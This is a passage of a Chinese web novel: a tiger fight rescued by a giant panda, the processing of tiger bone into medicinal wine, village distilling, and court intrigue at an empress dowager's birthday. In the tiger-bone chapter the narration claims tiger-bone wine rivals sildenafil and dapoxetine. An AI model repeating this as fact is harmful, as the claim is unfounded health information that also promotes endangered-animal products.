三只老虎虎视眈眈,围绕着裴红玉转圈,但却不敢贸然发起攻击。
显然对裴红玉手里的武器有所忌惮。
但这么僵持下去,裴红玉迟早要吃亏。
“糟了,这可怎么办!”
“再这样下去,裴队长就危险了!”
巡猎队等人看见树下的一幕,全都心急如焚,想要帮裴红玉,但却有心无力。
锵!
就在这时,薛猛一咬牙,拔出腰间警恶刀,从树上一跃而下。
落至老虎包围圈中。
裴红玉惊诧骂道:“你疯了?下来找死吗?”
“要死咱们搭个伴儿!”
薛猛咧嘴苦笑:“黄泉路上,你一个人多寂寞呀!”
“傻子!”
裴红玉嘴上虽是不饶人,心里却是暖暖的。
看在薛猛这么仗义的份儿上,她决定原谅薛猛见花谢了!
下次,再给他一次机会!
如果还有下次的话!
裴红玉声音软了下来:“薛猛,跟你说实话吧,其实我最怕死了……我死了,我爹就没人照顾了!”
“废话,谁不怕死?我也怕呀!”
二人背靠着背,与三只凶恶老虎对峙。
薛猛能感受到,裴红玉的后背全是汗水。
面对死亡,没有任何人能够真正毫无恐惧。
就算是裴红玉这样的狠人,也不例外。
见薛猛和裴红玉被三只老虎团团包围。
寇达和杨虎、周楠迅速隔空交换了眼神。
麻了个巴子!
拼了!
“唬——吼——!”
就在三人准备跳下去,和薛猛他们一起跟老虎肉搏拼命的时候,一声似曾相识的浑厚咆哮骤然响起。
咚!
紧接着一道高大黑影冲了出来。
巨大的熊掌挥舞如风,直接拍碎了一头老虎的脑袋。
“吼!!!”
看见飞溅的血浆,众人目瞪口呆。
只见那道黑影,居然正是在竹林里遇到的那头大熊猫。
大熊猫突如其来的袭击,打破了场中僵局。
局势瞬间逆转了。
“红玉妹子,好机会!杀!”
趁着剩下两头老虎愣神的瞬间,薛猛一声大喝,挥刀劈出!
裴红玉也是马上反应过来,抓住机会挺枪刺出!
噗叽!
血浆飞迸!
仅剩的两头老虎,顷刻命丧当场!
看着地上的老虎尸体。
薛猛和裴红玉背靠着背,瘫坐在地,大口喘着粗气。
刚才真是太惊险了!
要不是那头大熊猫突然出现,他们今天就算不交代在这里,也得缺胳膊少腿儿。
轰隆!
天边雷声滚滚。
暴雨倾盆而下,冲刷着地上的血迹!
大熊猫嗅着气味,在洼地里找到了熊猫幼崽。
“唬吼!!!”
大熊猫定定地看着熊猫幼崽,发现幼崽已经没了气息,发出了痛苦的低吼。
它转头对着老虎的尸体狠狠发泄,把老虎的脑浆都拍了出来。
薛猛抬眸看着在雨中悲号的大熊猫,叹了口气。
老虎把它的幼崽咬死了,难怪它这么大火气!
第79章 魅魔薛猛
通常情况下,华南虎和大熊猫虽然生活在同一个山头,但基本都是井水不犯河水,彼此遇上了都是绕道走。
作为肉食掠食者,成年华南虎的攻击力和捕猎技巧,普遍比吃素的大熊猫更强。
但大熊猫这玩意儿皮糙肉厚,而且咬合力惊人,并且块头普遍比华南虎更大。
若是真惹火了这家伙,华南虎也很难讨得了好。
毕竟华南虎不是东北虎,个头是硬伤!
也不知道那只华南雌虎是哪根筋搭错了,居然猎杀了熊猫幼崽。
大熊猫生性温和,不喜欢战斗,但这不代表它好欺负。
当幼崽受到伤害时,它也会露出凶狠的一面。
“嘤、嘤嘤!”
像座小山一样高大的大熊猫,抱着幼崽尸体呆呆坐在地上。
时不时舔舐着幼崽皮毛上沾染的血迹,鼻腔里发出断断续续的哼唧声。
那声音类似人类的抽泣声,充满委屈和悲伤。
“这玩意儿咋跟人一样,还知道伤心呢?一巴掌把老虎的头都拍碎了,真猛啊!这么厉害居然不吃肉,只吃竹子?”
寇达惊诧道。
裴红玉也是有些心疼地看着这个哼哼唧唧,委屈巴巴的黑白巨兽。
她打了一辈子猎,还是第一次见到这么通人性的野物,居然还知道伤心,就差掉眼泪了!
“这有啥,人类不也是动物吗?”
薛猛并不觉得稀奇。
大熊猫可不止会委屈、伤心,它甚至和人类一样,会得抑郁症。
前世,大熊猫就是这样活生生把自己搞成了濒危动物的。
明明没有天敌,但心情不好,就不繁衍了。
至于大熊猫不吃肉,不是它不想吃,而是因为它们的肠道很短,根本无法消化肉类。
加上体内缺乏分解动物蛋白的关键酶,吃了也不顶用。
除非竹子全开花死光,它们饿得实在没办法了,才会吃一些腐肉和鸟蛋充饥。
而且这东西属于是活明白了,让它们像老虎一样跑去捕猎是不可能的!
熊生短短二三十年,那么拼命干什么?
还不如躺平吃竹子舒服呢!
……
“徐伯,你就让我们进山去找薛大哥吧!”
“天都快黑了,他们还没回来,八成是遇到危险了!”
“不行!那迷魂凼乃是生人禁地,有去无回,十死无生!我不能再让你们白白去送死了!”
“三哥,咱们总不能就这么干等着吧!”
卧虎山下,罗飞、郑灵均、徐守业三人吵得不可开交。
罗飞和郑灵均想带人进山找薛猛,但徐守业说什么也不让他们进山。
裴红玉带着长枪队、弓弩队,进山这么久都没回来,怕是凶多吉少了。
罗飞他们再去也无济于事。
寇芳咬了咬牙,决定避开徐守业,偷偷进山找人!
她大哥寇达,还在山里呢!
哒哒哒!
就在这时,一阵马蹄踏水的声音响起。
众人一惊,纷纷扭头看去。
雨过天晴,夕阳晚照,一道俊朗身影从山道上策马奔来。
那人一身玄衣锦服,猿臂狼腰。
身背射日弓,腰佩警恶刀,胯下骑一匹踏雪乌骓马。
夕阳的余晖,给这一人一马身上渡上了一层金色,显得格外英武。
“薛大哥!”
“恩公!”
看见来人,寇芳和罗飞欣喜若狂,连忙迎了上去。
回来了?
徐守业和郑灵均怔了怔,二人眼中皆是充满惊异,随即连忙跟了上去。
薛猛勒缰驻马,翻身从马上跳了下来。
“贤侄,你身上怎么这么多血?”
郑灵均上下打量了薛猛一番,不由问道。
徐守业也是满脸担忧。
薛猛指了指马背上驮着的华南虎,咧嘴一笑:“徐伯,郑叔,你们别担心,我身上这是虎血!”
徐守业蹙眉道:“你们在山里遇到老虎了?”
“不止遇到了老虎,简直就是捅了老虎窝子!”
紧随薛猛之后下山的寇达接话道。
“哥!”
寇芳转头扑进了寇达怀里。
见自己大哥没事,几乎快要哭出来。
“回来就好,回来就好哇!”
徐守业拍着薛猛的肩膀,老眸泪光闪烁,悬着的心总算放下了。
两百年来,薛猛是第一个进入迷魂凼,而后全身而退的人!
简直就是奇迹!
薛猛道:“徐伯,赶快叫人准备骡车!”
“山上还有五只死老虎!”
“还有不少人受了伤,不便走动!”
徐守业连忙点头:“好好好!交给我去办!”
“你快回家给雅娴和瑾儿报个平安吧,她俩可都担心坏了!!”
薛猛点头,骑着马朝家里奔去。
“阿弥陀佛,菩萨保佑,保佑我家女婿平安回来!”
回到家,还没进门,薛猛就听见了赵氏的声音。
站在门后,往里一瞧,只见自家院子里不知何时摆上了供桌。
赵氏双手合十,跪拜在地,带着林雅娴、徐瑾儿不停对着供桌上的神像祈祷着。
只有林小鱼站着不动,满脸困惑地看着这些大人。
赵氏拽着林小鱼,想让她跪下:“快,小鱼,快跟娘一起求求菩萨,保佑你姐夫平平安安,逢凶化吉!”
林小鱼挠了挠头:“娘,菩萨在哪儿呢?我怎么看不见!”
“我才不求菩萨呢,我要去找姐夫!”
说着,林小鱼就要出门。
小短腿刚迈出门槛,就被站在门后的薛猛吓了一跳:“姐夫?!”
“娘,二姐,瑾儿姐姐,姐夫回来了!”
林小鱼抱住薛猛大腿,冲院子里惊喜大叫道。
“回来了?!”
徐瑾儿闻言大喜,第一时间冲了出来,直接扑进了薛猛怀里,嚎啕大哭起来。
林雅娴则是抹了抹眼泪,努力克制自己的情绪,缓缓走向薛猛。
赵氏跪在地上,望着供桌上的神像,激动的手发抖:“菩萨显灵了,一定是菩萨显灵,保佑我女婿,平安归来!”
赵氏使劲儿磕着响头,把头都磕出了血。
“薛大哥,你可算回来了!瑾儿好担心你!”
徐瑾儿把头埋在薛猛怀里,哭得梨花带雨。
林雅娴嘴上虽然没说什么,但眼里也是含着泪花。
“别哭,我这不是回来了嘛!”
薛猛抱着一大一小两个老婆,挨个亲了一口。
“主人!”
红儿、翠儿也都抹起了眼泪。
要是薛猛有个三长两短,这个家就散了。
她们又得流离失所了!
像薛猛这么好的东家,她们上哪儿去找啊?
“长根儿呐!你真是命大啊,迷魂凼你也敢去!下回可不敢这么冒险了!!婶子们可都担心坏了!”
“那迷魂凼里,到底有啥呀?”
“你这怎么全身都是血啊!”
“……”
听说薛猛回来了,左邻右舍男女老少都赶了过来,对薛猛嘘寒问暖。
薛猛是卧虎村的主心骨!
现在几乎每家每户,都靠着薛猛吃饭!
他们是真怕薛猛有个什么三长两短。
“妹夫!!”
听说薛猛平安回家,林大强丢下施工队的活,连忙赶了回来。
因为跑得太急,一进门,就摔了个狗啃泥。
薛猛连忙上前把大舅哥扶了起来:“大舅哥,你慢点啊!”
林大强一个大男人,哭得比女人还响:“妹夫,你可算回来啦!!我还以为……害,不说了,不说了,回来就好哇!”
刘玉婷静立于房檐下,看着被村民簇拥的薛猛。
百思不得其解。
这个男人到底有什么过人之处?
值得这么多人为他牵肠挂肚?
第80章 炮制虎骨酒
刘玉婷出身大户人家,她爹刘老太公,生前也是妻妾仆妇成群。
但她从来没见过,那些女人为她爹如此牵肠挂肚,掏心掏肺。
甚至那几个姨太太,私底下巴不得她爹快点死,好分家产!
可薛猛的两个女人,无论是正妻林雅娴,还是妾室徐瑾儿,都是真心实意地对他,为他哭肿了眼睛!
就连红儿、翠儿这两个丫鬟,也都为他落泪!
这男人,莫不是会什么蛊惑之术?
刘玉婷在土匪窝里见识过男人最丑恶的一面。
以至于她现在对任何男人都没有好感。
甚至,出于本能地觉得男人没有一个好东西!
现在看到这些女人为薛猛落泪,她心里越发厌恶薛猛,总感觉薛猛用了什么见不得人的手段,蛊惑了这些女人!
若不是现在自己无家可归,她一刻也不想在这里待下去!
哪怕薛猛借她钱,资助她重振刘庄纺织坊,刘玉婷也认为,这只不过是薛猛的“诡计”!
想以此博取她的好感,然后得到她!
“姓薛的,你骗得了别人,可骗不了我刘玉婷!”
“迟早有一天,我会让所有人都看清楚,男人没有一个好东西!”
刘玉婷双目微眯,心中生出一条毒计。
这条计策,一定能让薛猛露出丑陋的真面目!
“多谢各位兄弟姐妹,婶子叔伯关心!我没事儿,我身上的血是虎血,天色不早了。大伙儿都散了吧!”
看着这么多村民如此拥戴和关心自己,薛猛心中动容。
或许,这就是自己带领大家致富的意义吧?
那种感觉,薛猛也形容不上来,反正感觉挺不错的。
“行,长根儿,我们就先走了!”
张婶挥挥手,带着村民们陆续散去:“大伙儿都散了吧,长根儿累一天了,让他好好休息休息!”
薛家院子里,很快又恢复了平静。
当天夜里,六只华南虎被徐守业带人悄悄运下了山。
村里的狗闻见老虎的气味,全都吓得尿失禁了。
薛猛顾不上睡觉,组织巡猎队人连夜处理老虎尸体。
扒开虎皮,可以清楚看见老虎的肉和其他动物的肉完全不一样,肌肉红里透着紫黑,看上去很诡异,而且肌肉纤维特别粗。
隔老远都能闻见一股骚臭味!
因为口感极差,甚至是难吃,所以在大虞,虎肉的定位很尴尬。
老百姓买不起。
达官贵人不爱吃。
除了一些追求猎奇的人会尝试之外,根本没人吃这玩意儿。
比起虎肉,老虎的虎鞭、虎骨、虎丹、虎掌、虎皮,才是真正的好东西!
尤其虎骨,可以说是老虎身上最值钱的东西!
薛猛拆下六对虎胫骨,刮除上面残余的筋肉,洗净之后挂在高处阴干。
这种好东西,他可不打算卖!
等酿出高度白酒,用来泡酒喝!
即便剔除了胫骨,剩下其他部位的虎骨也不少。
薛猛过了下秤,六只老虎加起来差不多一共五百斤湿虎骨。
“发财了!”
薛猛心中一喜。
这趟进山没白忙活,虽然过程有些惊险,但就冲这堆虎骨也值了!
清洗完虎骨,天上月影西斜,已是深夜。
薛猛打发巡猎队的人走后,自己简单洗漱了一下,回到卧房倒头就睡。
看着沉沉睡去的薛猛,林雅娴和徐瑾儿姐妹俩不免犯起了嘀咕。
“林姐姐,薛大哥今天这是怎么了?”
“怎么一上床就睡了?”
林雅娴也是有些纳闷,以往薛猛哪天晚上不折腾她们半宿?
今晚怎么舍得放过她们了?
“长根儿或许是太累了吧。正好,今晚咱姐妹俩躲过一劫。”
林雅娴替薛猛掖了掖被子,轻松笑道:“总算能睡个安生觉了!”
“是呀!”
徐瑾儿和林雅娴相视一笑,吹灭了油灯,二人相继睡去。
黑暗中,薛猛缓缓睁开了双眼,看着身边两个如花似玉的老婆,无奈叹了口气。
自从跟裴红玉竹林切磋后,薛猛自信心遭到了严重打击。
裴红玉仿佛成了他的心魔!
不把裴红玉打服,薛猛心里那叫一个不得劲儿!
连林雅娴和徐瑾儿,他都没心思碰了!
“裴红玉,你给老子等着,等我炮制好虎骨酒,看我怎么收拾你!”
薛猛暗自发誓,一定要一雪前耻!
翌日,薛猛起了个大早,开始着手炮制虎骨。
虎骨有三种炮制方法,经过不同的炮制方法炮制后,药效也会迥然不同。
醋淬虎骨,固肾益精!
酒淬虎骨,行气活血!
油制虎骨,驱风通络!
薛猛果断选择醋淬,然后泡酒!
其威力,不亚于西地那非加上达泊西丁!
而且越喝越猛,治标又治本!
要不然为啥这玩意儿卖得贵呢!
薛猛先把提前准备好的滑石粉,倒进陶锅中炒热。
然后加入阴干的虎骨,不断翻炒至金黄,取出后筛去滑石粉。
再趁热把虎骨投进醋缸子里淬火降温。
滋啦!
滚烫的虎骨,刚一投进醋里,表面就出现了龟裂细纹。
金黄虎骨之上,平添了一丝丝黑色纹路。
“醋虎骨,成了!”
“就差白酒了!”
炮制好虎胫骨后,薛猛又顺便把虎鞭、虎丹、虎皮、虎掌也进行了炮制。
经过炮制之后,可以长期保存,并且药效更佳。
薛猛并不着急去卖。
反正这东西,不管什么时候都值钱!
接下来几天时间,薛猛每天坚持早睡早起,加强锻炼。
除此之外,就只干两件事情。
其一是绘制图纸,让铁艺坊制作蒸馏白酒所需的铁制烧酒锅。
其二则是进山采药,为炮制虎骨酒做准备。
巴戟天、淫羊藿、菟丝子、锁阳……全都安排上!
到了晚上,薛猛打起了地铺,不和林雅娴和徐瑾儿睡一张床了。
搞得两个老婆还以为自己做错了什么事情,惹恼了薛猛。
只有薛猛自己清楚,自己的身体每天都在发生变化。
亏空的身子,一天天补了起来。
射箭的时候,手也不抖了。
第七天,薛猛让寇达把装酒曲的木桶搬出来,当众揭开了木桶盖子,一股曲香顿时扑鼻而来。
酒曲总算发酵好了!
“哇!这酒曲好香啊!”
围观众人赞叹不已。
徐守业、郑灵均、老白头这三个老酒鬼,更是陶醉其中。
虽然只是酒曲,但他们似乎已经嗅到了酒的香味!
“行,这曲子算是成了!”
“可以正式开始酿酒了!”
薛猛把酒曲倒在竹席上,让阳光把酒曲晒干。
晒干后的酒曲,呈现小块状,疏松多孔,气味干燥清爽,透着淡淡的米香和菌香,能够长期保存。
这次做的酒曲,足够酿七八百斤酒了!
“恩公,粮食给你运回来了!”
不多时,被薛猛派去买粮的寇达,赶着骡车回到了卧虎村。
“一共是五百斤高粱、三百斤大米、二百斤糯米。”
“总共一千来斤粮食,本钱花了二百两银子!”
粮食从车上卸下来,在薛家院子里堆成了小山。
薛猛大手一挥,豪气冲霄:“行!全用水泡上,三个时辰后上锅蒸熟,摊开晾凉,就可以用来酿酒了!”
啥?
众人闻言,全都傻了眼。
一千多斤粮食,都够普通农户一大家子吃上一两年了!
薛猛全用来酿酒?
这万一要是失败了,这么多粮食可不就糟蹋了吗?
徐守业满脸心疼,忍不住出声劝道:“长根儿呐,第一次酿酒,咱们还是少酿点吧!万一中途出点差错,岂不是……”
“徐伯,你别担心!我心里有谱!”
薛猛知道徐守业心疼粮食,但酿酒本来就很废粮食!
一千斤粮食看着多,但用来酿酒,能出个三百斤酒就算谢天谢地了!
到时候再一蒸馏就更少了。
第一次酿酒才用一千斤粮食,薛猛已经很收敛。
大虞市面上,酒的规格大致分四种。
小坛酒五斤。
中坛酒十斤。
大坛二十斤。
一桶五十斤。
假如自己这一次酿出三百斤酒,大概能蒸馏出高度白酒一百五十斤。
也就是说,最多只能装上三桶!
而酿一次酒至少需要花上两三个月,两三个月才出三桶酒,这产量真不算高!
见薛猛自信满满,徐守业长叹一声,也不好再多加阻拦了。
就像林雅娴说的那样,薛猛一旦决定的事情,十头牛也拉不回来!
薛猛力排众议,正式开始了第一次酿酒!
大虞的酒业,将迎来前所未有的巨大冲击!
魏家和韩家绝不会想到,自己垄断这么多年的酿酒技术,不久后,就将会被一个小山村酿造出的酒彻底碾压!
而另一边,雷遇明为贤妃精挑细选收罗的一批珍奇药材,经过护宝红棍一连数日快马加鞭传递,终于抵达了京城长安!
这其中,就有薛猛的鲟鱼胶!
第81章 黄金垫道,丝绸裹树!
和盛堂往日送货,顶多也就是送到太医院。
但这次这批货,是专门为贤妃准备的。
自然不能走太医院的路子,必须送到贤妃所在的凝香宫。
但和盛堂的人属于外廷人员,不能直接进宫。
送入后宫的物品,需要提前在内务府登记备案,写明物品名称、数量、规格,送物人姓名和身份,以及接收人。
进宫之前,还要经过重重核验盘查。
湘儿按照雷遇明的吩咐,提前给内务府使了银子。
但即便如此,该走的程序一样都不能少。
经过守卫核验身份,检校官开箱检查物品,确定没有携带武器、毒药、密信、以及一切违禁品,方才在送货清单上盖上“核验章”,封存入库。
“大人,冒昧问一下,这批药材,月底之前能送到贤妃娘娘手里吗?”
湘儿见东西被封存入库,忍不住对内务府校验官问道。
校验官眼皮子也没抬一下:“这可没准儿啊!”
“若是三个月前,也就三五天,东西就能送进后宫!”
“但现在不行了,下个月初十就是皇太后五十大寿,这几个月送礼的人太多了!”
“内务府的仓库就快堆不下了!”
湘儿掏出银子,偷偷往校验官手里塞:“大人,您通融通融吧,这批药材真的很重要,一定要尽快送到贤妃娘娘手里。”
校验官收了银子,叹了口气:“小妹子,不是我不帮你,我也没辙啊!”
“咱们内务府的人,也没办法直接进入后宫。”
“凡是从宫外送来的东西,不光要经过咱们内务府校验,还要由后宫总管大太监接手,最后由他通知接收人所在宫院的掌事太监,经过层层传递,才能送到接收人手里。”
“但现在东西实在太多了,总管大太监也忙不过来。”
“除非你们能攀上他的关系,让他们给你开后门,否则就只能老老实实等了。”
湘儿皱眉问道:“那要怎样才能见到后宫总管大太监?”
校验官拉下了脸:“你似乎问得太多了。”
湘儿一怔,随即反应过来,这是嫌之前的银子少了。
连忙又掏出银子,塞到校验官手里。
后者这才笑着开口:“看你这么懂事,我就帮你问问吧,你们先回去等信儿!”
“多谢大人!”
湘儿一行人离开内务府,就近找了家驿馆住下。
一连数日,每天都到内务府找校验官询问东西到底送进宫没有。
校验官只是说再等等。
这一等,就等到了月底。
再去内务府,已经找不到校验官人影了。
“这可怎么办啊!”
“还有十天就是皇太后五十大寿,这批货要是送不进宫里去,贤妃娘娘拿什么给皇太后贺寿?”
湘儿都快急哭了。
和盛堂首席护宝红棍赵鹰安慰道:“湘儿你先别着急,贤妃娘娘不是等闲之辈,她肯定有两手准备。”
“就算咱们这批药材没送进去,她肯定也准备了其他东西当作寿礼。”
湘儿叹了口气:“但愿如此吧!”
“只是可惜了干爹一片苦心,到处东奔西跑收罗珍奇药材,还花大价钱买了薛小爷的鱼胶!”
“到头来却没派上用场!”
就在湘儿一行人灰心失意,准备收拾东西离开京城之时,先前不见踪影的内务府校验官,火急火燎找来了驿馆。
“小妹子,听说你们又到内务府找我了?不好意思,我这两天太忙了,忘记跟你们说了!”
“大总管早就把东西送到了贤妃所在的凝香宫。”
“说是贤妃特别喜欢那什么……叫什么来着,哦对,鱼胶!”
“她一不小心全用完了,让你们赶紧多送些来!”
什么?
东西已经送进去了?
闻听此言,湘儿喜极而泣,差点乐晕了过去。
本以为已经没希望了,没想到东西早就送进去了!
这事儿闹得,让人哭笑不得!
湘儿暗忖道:“咱们这批货,有鹿茸、有人参、有川贝,可贤妃独独提到那鱼胶,想来她是真喜欢那鱼胶!”
“我得马上写信,告诉干爹这个好消息!让他再送些鱼胶过来!”
三天后,雷遇明收到了湘儿的信,看完信,雷遇明高兴之余,却又犯起了难。
和盛堂最厉害的几个护宝红棍,都已经跟着湘儿去了京城。
赶回来肯定是来不及了,只能自己亲自把鱼胶送去。
但万一路上遇到响马劫道可怎么办?
思虑再三,雷遇明决定去卧虎村,找自己几个老战友帮帮忙。
“雷叔,这事儿就包在我们身上吧!”
薛猛得知了雷遇明的难处,果断决定帮他送鱼胶进京。
刚好月底,鱼胶坊又产出了五斤青鱼胶,一斤鲟鱼胶。
铁艺坊的铁锅也造出来了。
薛猛正愁这些东西,在洪雅县卖不出高价,现在有机会进京,自然要抓住这个机会,推销铁锅。
京城那些权贵富豪,什么山珍海味都吃过了,但肯定没吃过铁锅炒菜!
一旦让他们尝到了炒菜的滋味,肯定会舍得花大钱买锅!
“薛贤侄,太感谢你啦!”
见薛猛这么痛快答应,雷遇明付钱也是极其痛快。
三千两尾款,当场就给薛猛结清了!
还额外给了五百两护送费。
听说薛猛要送鱼胶进京,巡猎队的人都抢着要跟薛猛一起去。
活了大半辈子,他们可从来没去过京城!
都想去看看大虞的都城到底是什么样的!
“大家都别争了!这次进京,时间仓促,人不能带太多,必须轻装上路!”
当天下午,薛猛仅带着裴红玉、寇芳二人,打点行囊,骑马踏上进京之路。
薛猛胯下一匹乌骓马。
裴红玉和寇芳骑的则是缴获老鸦坎土匪的马。
郑灵均、罗飞等人则留守卧虎村,提防黑风岭响马来犯。
……
一路上,薛猛三人晓行夜宿,快马加鞭。
总算赶着皇太后大寿前一天,赶到了京城,在驿馆与湘儿碰了面。
由于这次贤妃点名要鱼胶,内务府予以了最大方便,由贤妃身边的掌事太监直接取走了鱼胶,免去了重重盘查。
而薛猛经过数日奔波,人都快累傻了,在驿馆里呼呼大睡,也顾不上出去推销铁锅了。
转眼就到了八月初十。
皇太后五十大寿如期举行。
皇帝下旨,太后大寿,与民同乐,大宴三天。
整个京城都要为之张灯结彩,为太后贺寿!
一时间,前来贺寿的车马,络绎不绝。
朝中勋贵、京中望族,自不必说,纷纷争相为皇太后献礼贺喜。
大虞各州的封疆大吏,也都派人押送了生辰纲前来贺寿。
吐蕃、西夏、暹罗等外邦也都派了使节前来。
大虞景丰皇帝出了名的爱面子,为了向外邦使节彰显国力。
提前让人给街道砖石刷上一层金粉。
就连街道旁的大树,都用精美的蜀锦绸缎包裹!
让权贵公子千金,扮作平民,穿着最华丽的衣服,骑着最英武的骏马上街。
而那些沿街乞讨的乞丐和逃难的流民,一夜之间集体消失,就好像人间蒸发了一样。
穷人和平民则被限制出门,只能躲在门缝之后,窥探外面金碧辉煌的世界!
皇帝所说的“与民同乐”,似乎和真正的平民并不相干。
当外邦使节的车队踏入大虞京城之时,所有人都看得目瞪口呆。
黄金垫道,丝绸裹树!
随便一个路人,身上都穿着精致的绫罗绸缎,胯下骑着价值百金的马匹!
大虞这是有多富饶啊?!
“难怪北莽对大虞虎视眈眈!”
“大虞就是一头肥羊,富得流油!”
“谁不想啃上一口?”
不少外邦使节都动了歪心思。
他们这次前来大虞,可不止是为了给大虞皇太后贺寿,实则是为了考察大虞的国情。
大虞和北莽打得不可开交。
这次的考察,关系到他们的国家,是站在北莽那一边,还是站在大虞这一边!
“这踏马叫什么事儿!”
“凭什么那些权贵少爷,富家公子,就可以在街上走?!”
“我们这些平民出行,就叫做有损大虞国威?”
薛猛肺都快气炸了。
一觉醒来,本来打算出去找京城最大的酒楼推销铁锅。
但没想到,朝廷禁军封锁了街道,挨家挨户打招呼,限制平民出行!
说是让平民撞见了外邦使节,有损大虞国威!
湘儿无奈叹了口气,对薛猛劝道:“薛小爷,你就先忍忍吧!三天后寿宴结束,外邦使节离开,咱们就能出去了!”
第82章 此物大虞无人能识
大虞皇城,未央宫,前殿。
金碧辉煌的宫殿,宽敞得能跑马。
御台之上,景丰帝高坐于龙椅,侧首孟太后垂帘而坐。
皇后以及德妃、贤妃、淑妃、惠妃四夫人,全都陪侍在孟太后身后。
御台之下,文武百官和外邦使节,齐齐向皇帝和太后朝拜。
看着外邦使节俯首称臣,景丰帝龙颜大悦,大袖一挥:“众爱卿平身!”
“谢陛下!”
文武百官纷纷起身,按照品阶分列两侧。
外邦使节则依次开始进献寿礼。
“吐蕃赞普恭献雪域天山雪莲百株,祝皇太后福寿绵延!”
吐蕃使者单膝跪地,将礼盒和礼单高举过顶。
总管大太监上前接过,打开礼盒的瞬间,一股清冽药香顿时四溢而出。
引得文武百官侧目。
孟太后微微抬了抬眼皮:“嗯,还不错。”
西夏使者上前一步,用略显生硬的汉话说道:“西夏国主敬奉贺兰山汗血宝马十匹,伴以秘酿马奶酒百坛,祝皇太后寿比贺兰山!”
“呵呵,倒是会说话!”
孟太后笑了笑。
暹罗使者先是双手合十行礼,随后示意身后的僧人,展开一卷贝叶经。
“暹罗国王敬献菩提叶经卷,愿佛光护佑大虞国泰民安,保佑皇太后青春永驻。”
“此外,还有我暹罗国镇国之宝——暹罗犀角十只,此物可清心定惊,消除烦热,使人安睡!”
“有心了。”
孟太后淡然点头。
三个外邦使节所献之物,都是珍奇异宝。
相比之下,大虞文武百官送的礼品实在乏善可陈。
只有大虞丞相魏书同,和三十六位学士联名书写的《万寿无疆赋》,算是别出心裁。
其他人送的什么鹿茸、燕窝、珍珠、玛瑙之物,虽然名贵,但这些东西都没什么新意。
每年过寿几乎都有这些寿礼,孟太后早就腻了。
“素闻大虞地大物博,奇珍异宝数不胜数,原来也不过如此!”
就在这时,一声略带讥嘲的刺耳笑声从殿外传来。
“大胆!何人在殿外喧哗?”
负责维持殿前秩序的卫尉将军威严大喝道。
“我乃北莽国师耶律鸿,特来向大虞皇太后贺寿!”
百官循声侧目看去,一个身着皮袍,身形极其魁梧,鼻梁高挺,眼窝深邃,毛发卷曲发黄的棕眼大汉,迈着阔步走进大殿。
身后四名随从紧随其后,双手捧着礼盒。
北莽的人?!
他们居然敢来贺寿?!
见了来人,朝中武将全都怒目圆瞪,恨不得冲上去把这些人生吞活剥了。
大虞和北莽连年交战。
北莽攻占大虞的城池,杀害大虞的百姓,可以说北莽和大虞有着血海深仇,不共戴天!
他们怎么可能来贺寿!
“羽林军呢?干什么吃的!怎么把这些茹毛饮血的牲口放进来的!”
左将军秦雄满头白发飘扬如狮,指着耶律鸿一行人泼口大骂道。
若不是后面几个将军拽住他,他早就冲上去把这几个北莽人宰了。
“秦老爱卿不得无礼!耶律国师是朕特地请来谈和的贵客!”
景丰帝一声轻喝,听得秦雄如遭雷击,愣在了原地。
“什么?”
“谈和?”
武将们全都愣住了。
几个和秦雄关系不错的将军,心疼地看着秦雄。
秦老将军的三个儿子,全都战死在了北莽人的铁蹄之下!
他对北莽人的恨,早已深入骨髓!
“陛下,老臣不明白,谈和是什么意思?北莽夺我城池,杀我子民,与我大虞有不共戴天之仇啊!”
“和北莽谈和,岂不叫众将士寒了心?”
秦雄双目血红,连声音都在颤抖。
武将们闻言情绪都激动了起来。
景丰帝不语,而是转头朝丞相魏书同使了个眼色。
魏书同清了清嗓子,目光扫向以秦雄为首的一帮武将,说道:“几位将军,你们都消停消停吧!”
“谈和一事,是在下和几位内务大臣,跟陛下反复商量之后,才敲定的国之大计!非尔等武夫可以妄言!”
魏书同身后几个把持权柄的文臣,也都纷纷站了出来,表示支持谈和。
“魏书同!又是你!!”
秦雄指着魏书同,恨得咬牙切齿!
大虞和北莽打了这么多年,朝中文武百官早已有了分化,对这场无休无止的战争产生了不同的看法。
最主要的有三个派别。
秦雄是典型的主战派。
魏书同则是谈和派。
而大部分官员则保持中立态度。
“秦老将军,你看你,头发都白完了!你老了,看不清现在的局势,我不与你计较!”
说完,魏书同扭头对景丰帝拱手“求情”道:“臣恳请陛下体谅秦老将军年老体衰,原谅他这次殿前喧哗之罪!让他回去颐养天年吧!”
“你!!”
魏书同这话,险些把秦雄气吐了血。
秦雄一咬牙,转头对景丰帝道:“陛下,这厮说我年老体衰,纯粹胡说八道,老臣虽然年已七旬,但仍可日食斗米,力能扛鼎!”
魏书同一挑眉,冷哼道:“哦?是吗?那待会儿百官为皇太后献艺之时,可要请秦老将军给咱们大伙儿表演表演!”
景丰帝皱眉道:“行啦,都少说两句!今天是母后大寿,不谈国事!”
“谈和之事,等寿宴结束再行商议!”
“而今天,耶律国师和你们所有人一样,都是来为母后贺寿的宾客!你们若是对他无礼,朕定不轻饶!”
皇帝动了真怒。
谁敢不从?
武将们全都偃旗息鼓。
秦雄暗自咬牙,只能暂时咽下这口气。
等寿宴结束,他一定要和魏书同好好掰扯掰扯!
“皇帝陛下,这是我们大天可汗,特地为皇太后准备的寿礼!此物,恐怕你们整个大虞,都从来没人见过!”
耶律鸿傲视群臣,拍拍手。
咚的一声。
身后随从将沉甸甸的礼盒放落在地,随后当众打开了盒盖。
只见里面躺着一个浑身长满鳞片,又长又粗,极其古怪的东西。
嘶!
“这是何物?”
别说大虞满朝文武看傻了眼。
就连吐蕃、西夏、暹罗这些外邦使节,也是头一回见到这种东西。
孟太后也是提起了兴趣,微微掀起珠帘,瞪大眼睛看着那盒子里的东西。
皇后、德妃、淑妃、惠妃,也都眉头轻皱。
身在皇宫,享受了一辈子荣华富贵,天下奇珍异宝宫里应有尽有,哪怕是天山雪莲、暹罗犀角,这些旁人觉得稀奇的东西,她们也都见多了。
但北莽国师抬出来的这东西,她们还真是从来没见过!
只有贤妃神情平静,若有所思。
“哈哈哈!”
耶律鸿哈哈大笑。
对众人的反应,他非常满意!
“素闻大虞地大物博,人才辈出,想必这满朝文武,不乏有识之士!”
“不知可否有人能够说出此物来历和名字?”
耶律鸿此言一出。
群臣汗颜。
明眼人都看出来了。
这家伙,哪里是来送礼贺寿的?
分明是来砸场子的啊!
若是没人认出此物,岂不是叫外邦嗤笑,大虞满朝文武,一个有识之士也没有?
景丰帝脸上也有些挂不住了。
连他这个九五之尊,都从来没见过此物。
“魏爱卿,你素来博览群书,见多识广,你来说说,这到底是何物!”
景丰帝目光扫向魏书同。
“啊?我?”
魏书同一怔。
